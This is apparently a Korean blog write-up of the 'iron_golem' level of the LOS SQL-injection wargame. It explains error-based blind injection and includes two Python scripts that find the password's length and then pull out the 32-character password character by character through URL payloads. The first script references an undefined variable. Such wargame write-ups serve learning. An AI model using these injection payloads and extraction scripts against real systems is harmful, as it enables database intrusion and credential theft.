21. LOS - IRON_GOLEN
2021. 2. 2. 17:49ㆍWarGame/LOS
처음 접한 error based sqlinjection 이였습니다.
if문에서 조건문에 거짓이 나오면 error을 출력하게해서 풀리는 구조의 문제입니다.
처음 쿼리가 이렇게 구성되어있고,
sleep과, benchmark 가 벤이 되어있으므로 timebased가 아니라고 생각하였고,
'를 잘못입력했는데 에러가 출력되어서 error based인것을 확인했습니다.
import requests
import string
cookies = {'PHPSESSID': '41dujejs6ln5lnj8ni9p7ik5bb'}
#https://los.rubiya.kr/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php?pw=12%27%20or%20substr(pw,1,1)%20=%20%22a%22--%20-
key = ""
for i in range(1, 100) :
URL = "https://los.rubiya.kr/chall/iron_golem_beb244fe41dd33998ef7bb4211c56c75.php?pw=1%27%20or%20if(length(pw)=" + str(i) + ",1,(select%201%20union%20select%202))%20--%20-"
response = requests.get(URL, cookies=cookies)
print(i)
if "Subquery" not in response.text :
print(URL)
key += j
print("[" + str(i) + "]th password : " + j)
break;
print(key)
해당 payload의 자리수 (32)를 확인했고,
import requests
import string
num_alpa = string.digits + string.ascii_letters
cookies = {'PHPSESSID': '41dujejs6ln5lnj8ni9p7ik5bb'}
#https://los.rubiya.kr/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php?pw=12%27%20or%20substr(pw,1,1)%20=%20%22a%22--%20-
key = ""
print(num_alpa)
for i in range(1, 33) :
for j in num_alpa :
URL = "https://los.rubiya.kr/chall/iron_golem_beb244fe41dd33998ef7bb4211c56c75.php?pw=1%27%20or%20if(substr(pw," + str(i)+",1)%20=%20\"" + str(j) + "\",1,(select%201%20union%20select%202))%20--%20-"
response = requests.get(URL, cookies=cookies)
if "Subquery" not in response.text :
print(URL)
key += j
print("[" + str(i) + "]th password : " + j)
break;
print(key)
해당 payload 로 32자리 비밀번호를 확인했습니다.
확인한 비밀번호를 입력하면
풀립니다(grin)
error_based에 대한 기본적인 지식을 습득할 수 있어서 굉장히 좋은 문제였습니다.
'WarGame > LOS' 카테고리의 다른 글
22. LOS - dark_eyes (0) | 2021.02.03 |
---|---|
20. LOS - DRAGON (0) | 2021.02.01 |
19. LOS - XAVIS (0) | 2021.01.31 |
18. LOS - NIGHTMARE (0) | 2021.01.30 |
17. LOS - zombie_assassin (0) | 2021.01.30 |